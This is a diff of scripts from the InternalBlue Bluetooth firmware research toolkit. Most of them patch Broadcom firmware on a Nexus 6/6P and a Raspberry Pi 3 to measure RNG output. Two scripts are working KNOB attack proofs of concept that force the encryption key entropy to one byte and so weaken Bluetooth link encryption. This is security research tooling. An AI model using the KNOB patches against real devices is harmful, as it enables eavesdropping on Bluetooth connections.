bl 0x3FA36 // osapi_blockPoolFree
pop {r0-r4, pc}
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
internalblue = ADBCore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("installing assembly patches...")
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
internalblue.logger.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
adb.process(["su", "-c", "svc wifi disable"])
internalblue.logger.info("Disabled Wi-Fi core.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
internalblue.logger.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
# read for multiple rounds to get more experiment data
rounds = 100
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
data.extend(random)
i = i + 1
internalblue.logger.info("Finished acquiring random data!")
# every 5th byte i 0x42
check = data[4::5]
for c in check:
if c != 0x42:
internalblue.logger.error("Data was corrupted by another process!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("5_randomdata_pseudo-%irounds-reg0x%x.bin" % (rounds, PRAND), "wb")
f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
+30 -33
View File
@@ -1,14 +1,18 @@
#!/usr/bin/python2
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
import sys
import argparse
from argparse import Namespace
import cmd2
from cmd2 import CommandSet
from pwn import *
from internalblue.adbcore import ADBCore
import internalblue.cli as cli
import internalblue.cmds as cmd
import internalblue.hci as hci
from internalblue.cmds import auto_int
from internalblue.utils.packing import p16, u16
from internalblue.cli import auto_int
from internalblue.cli import InternalBlueCLI
"""
@@ -27,47 +31,41 @@ internalblue.interface = internalblue.device_list()[0][1] # just use the first
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
internalblue.logger.critical("No connection to target device.")
exit(-1)
log.info("Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!")
internalblue.logger.info("Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!")
# modify function lm_SendLmpEncryptKeySizeReq
#patch = asm("mov r2, #0x1", vma=0x4BC6E) # connection struct key entropy
#internalblue.patchRom(0x4BC6E, patch)
# patch = asm("mov r2, #0x1", vma=0x4BC6E) # connection struct key entropy
# internalblue.patchRom(0x4BC6E, patch)
# this somehow crashes on the Nexus 6P, but the global variable seems to be sufficient :)
# modify global variable for own setting
internalblue.writeMem(0x204147, '\x01') # global key entropy
internalblue.writeMem(0x204147, b'\x01') # global key entropy
log.info("-----------------------KNOB-----------------------\n"
internalblue.logger.info("-----------------------KNOB-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"To monitor device behavior, continue on the CLI, ideally with diagnostic LMP mode.\n"
"On Android, this requires a modified bluetooth.default.so.\n"
"-----------------------KNOB-----------------------\n"
"Automatically continuing on KNOB interface...\n"
"Use the 'knob' command to *debug* the attack, i.e.:\n"
" knob --hnd 0x0b\n"
"...shows the key size of handle 0x000b.\n")
" knob --hnd 0x0c\n"
"...shows the key size of handle 0x000c.\n")
class CmdKnob(cmd.Cmd):
"""
Introduce a new CLI command to make KNOB debugging easier...
"""
keywords = ["knob"]
description = "Debugs which key length is currently active within a connection handle."
class KnobCommands(CommandSet):
knob_parser = argparse.ArgumentParser()
knob_parser.add_argument("--hnd", type=auto_int, default=0x000c, help="Handle KNOB connection.")
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
parser.add_argument("--hnd", type=auto_int, default=0x000c,
help="Handle KNOB connection.")
def work(self):
args = self.getArgs()
internalblue.sendHciCommand(0x1408, p16(args.hnd))
@cmd2.with_argparser(knob_parser)
def work(self, args):
"""Introduce a new CLI command to make KNOB debugging easier..."""
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
return True
@@ -81,20 +79,19 @@ def hciKnobCallback(record):
if hcipkt.event_code == 0x0e:
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
if u8(hcipkt.data[3]) == 0x12: # Error
log.info("No key size available.\n"
if hcipkt.data[3] == 0x12: # Error
internalblue.logger.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
else:
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), u8(hcipkt.data[6])))
internalblue.logger.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
return
# add our command
cmd.CmdKnob = CmdKnob
internalblue.registerHciCallback(hciKnobCallback)
# enter CLI
cli.commandLoop(internalblue)
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
+233
View File
@@ -0,0 +1,233 @@
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
import sys
from argparse import Namespace
from pwnlib import adb
from pwnlib.asm import asm
from internalblue.adbcore import ADBCore
import internalblue.hci as hci
import numpy as np
from datetime import datetime
from internalblue.cli import InternalBlueCLI
"""
Measure the RNG of the Nexus 6.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* Disable Wi-Fi as the RNG might be shared.
* Launch_RAM patch, as Launch_RAM works but only with a 1.3 second
break. So we overwrite it as in the evaluation boards.
"""
ASM_LOCATION_RNG = 0x21F000 # load our snippet here
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0x1000 # run this often (x5 bytes) ... 0x1000 doesn't crash immediately but somewhen later :/
FUN_RNG = 0x55FD6 # original RNG function that we overwrite with bx lr
ASM_SNIPPET_RNG = """
// use r0-r7 locally
push {r0-r7, lr}
// send a command complete event as we overwrote the launch_RAM handler to prevent HCI timeout event wait
mov r0, #0xFC4E // launch RAM command
mov r1, 0 // event success
bl 0x229C // bthci_event_SendCommandCompleteEventWithStatus
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_rng
// done, let us notify
bl notify_hci
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_rng:
// wait until RNG is ready, which is indicated by status 0x200fffff
wait_ready:
ldr r2,=0x314008
ldr r2, [r2]
ldr r3, =0x200fffff
cmp r2, r3
bne wait_ready
// request new entropy: 0x314004=1
mov r3, 1
ldr r2, =0x314004
str r3, [r2]
// dst is in r1, dump RNG value here
ldr r2, =0x31400c
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_rng
bx lr
//// issue an HCI event once we are done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r2, 4 // event length
mov r0, 6 // event length (+2)
mov r1, 0xff // type: vendor specific
bl 0x22C4 // malloc_hci_event_buffer
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 10 // buffer starts at 10 with data
ldr r1, =0x444e4152 // RAND
str r1, [r0]
add r0, 4 // advance buffer by 4
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0x20F4 // send_hci_event()
pop {r0-r4, pc}
""" % (MEM_ROUNDS, MEM_RNG)
internalblue = ADBCore(log_level='info')
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("installing assembly patches to crash other device on connect requests...")
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
internalblue.logger.critical("error!")
exit(-1)
# Nexus 6P Launch_RAM fix: overwrite an unused HCI handler
# Here it is not called within the handler table but within another function.
patch = asm("b 0x%x" % ASM_LOCATION_RNG, vma=0x59042)
if not internalblue.patchRom(0x59042, patch):
internalblue.logger.critical("Could not implement our launch RAM fix!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
adb.process(["su", "-c", "svc wifi disable"])
internalblue.logger.info("Disabled Wi-Fi core.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
internalblue.logger.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
# read for multiple rounds to get more experiment data
rounds = 1000
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
# sleep(1.3) # Nexus 6P specific HCI bugfix! Launch_RAM doesn't like HCI...
# 8s is safe, 2s did also work 1k times, 1s aborted after 406 and 403.
# 1.3s was also safe.
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
data.extend(random)
i = i + 1
internalblue.logger.info("Finished acquiring random data!")
# every 5th byte i 0x42
check = data[4::5]
for c in check:
if c != 0x42:
internalblue.logger.error("Data was corrupted by another process!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("6p_randomdata-%irounds-%s.bin" % (rounds, datetime.now()), "wb")
f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
+213
View File
@@ -0,0 +1,213 @@
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
import sys
from argparse import Namespace
from pwnlib import adb
from pwnlib.asm import asm
from internalblue.adbcore import ADBCore
import internalblue.hci as hci
import numpy as np
from internalblue.cli import InternalBlueCLI
"""
Measure the RNG of the Nexus 6.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* Disable Wi-Fi as the RNG might be shared.
"""
ASM_LOCATION_RNG = 0x21F000 # load our snippet here
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0x1000 # run this often (x5 bytes) ... 0x1000 doesn't crash immediately but somewhen later :/
FUN_RNG = 0x55FD6 # original RNG function that we overwrite with bx lr
PRAND = 0x318088 # the pseudo random register we want to benchmark
# 0x318088 dc_nbtc_clk_adr
# 0x32A004 timer1value_adr
# 0x3186A0 dc_fhout_adr
# 0x31FC34 agcStatus_adr
# 0x31FFA0 rxInitAngle_adr
# 0x31F8A4 spurFreqErr1_adr
# 0x31FD48 rxPskPhErr5_adr
# 0x200528 *mm_top TODO needs special memcpy but is only used once for init
ASM_SNIPPET_RNG = """
// use r0-r7 locally
push {r0-r7, lr}
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_pseudo
// done, let us notify
bl notify_hci
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_pseudo:
// dst is in r1, dump RNG value here
ldr r2, =0x%x
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_pseudo
bx lr
//// issue an HCI event once we are done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r2, 4 // event length
mov r0, 6 // event length (+2)
mov r1, 0xff // type: vendor specific
bl 0x22C4 // malloc_hci_event_buffer
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 10 // buffer starts at 10 with data
ldr r1, =0x444e4152 // RAND
str r1, [r0]
add r0, 4 // advance buffer by 4
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0x20F4 // send_hci_event()
pop {r0-r4, pc}
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
internalblue = ADBCore(log_level='debug')
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("installing assembly patches...")
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
internalblue.logger.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
adb.process(["su", "-c", "svc wifi disable"])
internalblue.logger.info("Disabled Wi-Fi core.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
internalblue.logger.info("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
# read for multiple rounds to get more experiment data
rounds = 100
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
sleep(1.3) # Nexus 6P specific HCI bugfix! Launch_RAM doesn't like HCI...
# 8s is safe, 2s did also work 1k times, 1s aborted after 406 and 403.
# 1.3s was also safe.
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
data.extend(random)
i = i + 1
internalblue.logger.info("Finished acquiring random data!")
# every 5th byte i 0x42
check = data[4::5]
for c in check:
if c != 0x42:
internalblue.logger.error("Data was corrupted by another process!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("6p_randomdata_pseudo-%irounds-reg0x%x.bin" % (rounds, PRAND), "wb")
f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
+13 -15
View File
@@ -1,22 +1,21 @@
#!/usr/bin/env python2
#!/usr/bin/env python3
# Jiska Classen
# Get receive statistics on a Raspberry Pi 3 for BLE connection events
from pwn import *
from internalblue import Address
from internalblue.hcicore import HCICore
from pwnlib.asm import asm
internalblue = HCICore()
device_list = internalblue.device_list()
if len(device_list) == 0:
log.warn("No HCI devices connected!")
internalblue.logger.warn("No HCI devices connected!")
exit(-1)
internalblue.interface = device_list[0][1] # just use the first device
internalblue.interface = device_list[0][1] # just use the first device
RX_DONE_HOOK_ADDRESS = 0x35fbc # _connTaskRxDone
RX_DONE_HOOK_ADDRESS = Address(0x35fbc) # _connTaskRxDone
HOOKS_LOCATION = 0x210500
ASM_HOOKS = """
@@ -69,22 +68,21 @@ ASM_HOOKS = """
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
internalblue.logger.critical("No connection to target device.")
exit(-1)
# Install hooks
code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
internalblue.logger.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
if not internalblue.writeMem(HOOKS_LOCATION, code):
log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
internalblue.logger.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
exit(-1)
log.info("Installing hook patch...")
internalblue.logger.info("Installing hook patch...")
patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS)
if not internalblue.patchRom(RX_DONE_HOOK_ADDRESS, patch):
log.critical("Installing patch for _connTaskRxDone failed!")
internalblue.logger.critical("Installing patch for _connTaskRxDone failed!")
exit(-1)
log.info("--------------------")
log.info("To see statistics, execute 'internalblue' and run 'log_level debug'.")
internalblue.logger.info("--------------------")
internalblue.logger.info("To see statistics, execute 'internalblue' and run 'log_level debug'.")
+59 -16
View File
@@ -1,12 +1,18 @@
#!/usr/bin/python2
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
import sys
import argparse
from argparse import Namespace
import cmd2
from cmd2 import CommandSet
from pwnlib.asm import asm
from pwn import *
from internalblue import Address, hci
from internalblue.cli import InternalBlueCLI, auto_int
from internalblue.hcicore import HCICore
from internalblue.utils.packing import p16, u16
"""
This is a standalone PoC for the KNOB attack on a Raspberry Pi 3.
@@ -18,31 +24,68 @@ This PoC is much shorter since it only modifies global variables for key entropy
"""
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
internalblue.logger.critical("No connection to target device.")
exit(-1)
log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
internalblue.logger.info("Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!")
# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x689F0) # connection struct key entropy
internalblue.patchRom(0x689F0, patch)
internalblue.patchRom(Address(0x689F0), patch)
# modify global variable for own setting
internalblue.writeMem(0x204127, '\x01') # global key entropy
internalblue.writeMem(0x204127, b'\x01') # global key entropy
internalblue.logger.info("-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
"For more details, see special instructions for BlueZ.\n"
"-----------------------KNOB-----------------------\n"
"Automatically continuing on KNOB interface...\n"
"Use the 'knob' command to *debug* the attack, i.e.:\n"
" knob --hnd 0x0c\n"
"...shows the key size of handle 0x000c.\n")
internalblue.shutdown()
exit(-1)
log.info("-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
"For more details, see special instructions for BlueZ.\n")
class KnobCommands(CommandSet):
knob_parser = argparse.ArgumentParser()
knob_parser.add_argument("--hnd", type=auto_int, default=0x000c, help="Handle KNOB connection.")
@cmd2.with_argparser(knob_parser)
def work(self, args):
"""Debugs which key length is currently active within a connection handle."""
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
return True
def hciKnobCallback(record):
"""
Adds a new callback function so that we do not need to call Wireshark.
"""
hcipkt = record[0]
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.event_code == 0x0e:
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
if hcipkt.data[3] == 0x12: # Error
internalblue.logger.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
else:
internalblue.logger.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
return
# add our command
internalblue.registerHciCallback(hciKnobCallback)
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
+212
View File
@@ -0,0 +1,212 @@
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
import os
import sys
from argparse import Namespace
import numpy as np
from pwnlib.asm import asm
import internalblue.hci as hci
from internalblue.cli import InternalBlueCLI
from internalblue.hcicore import HCICore
"""
Measure the RNG of the Raspberry Pi 3.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* Disable Wi-Fi as the RNG might be shared.
"""
ASM_LOCATION_RNG = 0x219000 # load our snippet here #TODO definitely not a free area on the rpi3
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0x1000 # run this often (x5 bytes) ... 0x1000 doesn't crash immediately but somewhen later :/ #TODO repeat was only 0x100
FUN_RNG = 0x1CA3E # original RNG function that we overwrite with bx lr
ASM_SNIPPET_RNG = """
// use r0-r7 locally
push {r0-r7, lr}
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_rng
// done, let's notify
//bl notify_hci
bl 0x40fa //io cap resp 00000000550d000000
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_rng:
// wait until RNG is ready, which is indicated by status 0x200fffff
wait_ready:
ldr r2,=0x352604
ldr r2, [r2]
ldr r3, =0x200fffff
cmp r2, r3
bne wait_ready
// request new entropy: rbg_control_adr=1
mov r3, 1
ldr r2, =0x352600
str r3, [r2]
// dst is in r1, dump RNG value here
ldr r2, =0x352608
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_rng
bx lr
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r2, 4 // event length
mov r0, 6 // event length (+2)
mov r1, 0xff // type: vendor specific
bl 0x3670 // bthci_event_AllocateEventAndFillHeader (the r0+r2 variant)
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 2 // buffer starts at 2 with data (?)
ldr r1, =0x444e4152 // RAND
str r1, [r0]
add r0, 4 // advance buffer by 4
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0x358E // send_hci_event_without_free()
pop {r0-r4, pc}
""" % (MEM_ROUNDS, MEM_RNG)
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("installing assembly patches...")
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
internalblue.logger.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
os.system("sudo rfkill block wifi")
internalblue.logger.info("Disabled Wi-Fi core.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:9] == b'\x00\x00\x00\x00\x55\x0d\x00\x00\x00':
internalblue.logger.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
# read for multiple rounds to get more experiment data
rounds = 1000
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
data.extend(random)
i = i + 1
internalblue.logger.info("Finished acquiring random data!")
# every 5th byte i 0x42
check = data[4::5]
for c in check:
if c != 0x42:
internalblue.logger.error("Data was corrupted by another process!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("rpi3-randomdata-%irounds.bin" % rounds, "wb")
f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
+212
View File
@@ -0,0 +1,212 @@
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
import os
import sys
from argparse import Namespace
import numpy as np
from pwnlib.asm import asm
import internalblue.hci as hci
from internalblue.cli import InternalBlueCLI
from internalblue.hcicore import HCICore
"""
Measure the RNG of the Raspberry Pi 3.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* Disable Wi-Fi as the RNG might be shared.
"""
ASM_LOCATION_RNG = 0x219000 # load our snippet here #TODO definitely not a free area on the rpi3
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0x1000 # run this often (x5 bytes) ... 0x1000 doesn't crash immediately but somewhen later :/ #TODO was 0x100
FUN_RNG = 0x1CA3E # original RNG function that we overwrite with bx lr
PRAND = 0x318088 # the pseudo random register we want to benchmark
# !!! other mapping, follows CYW20719
# 0x318088 dc_nbtc_clk_adr
# 0x32A004 timer1value_adr
# 0x3186A0 dc_fhout_adr
# 0x410434 agcStatus_adr
# 0x4107A0 txDirectModFreqAdj3_adr
# 0x4100A4 spurFreqErr0_adr
# 0x410548 rxPskPhErr5_adr
# 0x200578 *mm_top TODO needs special memcpy but is only used once for init
ASM_SNIPPET_RNG = """
// use r0-r7 locally
push {r0-r7, lr}
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_pseudo
// done, let's notify
//bl notify_hci
bl 0x40fa //io cap resp 00000000550d000000
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_pseudo:
// wait until RNG is ready, which is indicated by status 0x200fffff
// dst is in r1, dump RNG value here
ldr r2, =0x%x
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_pseudo
bx lr
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r2, 4 // event length
mov r0, 6 // event length (+2)
mov r1, 0xff // type: vendor specific
bl 0x3670 // bthci_event_AllocateEventAndFillHeader (the r0+r2 variant)
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 2 // buffer starts at 2 with data (?)
ldr r1, =0x444e4152 // RAND
str r1, [r0]
add r0, 4 // advance buffer by 4
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0x358E // send_hci_event_without_free()
pop {r0-r4, pc}
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("installing assembly patches...")
# Install the RNG code in RAM
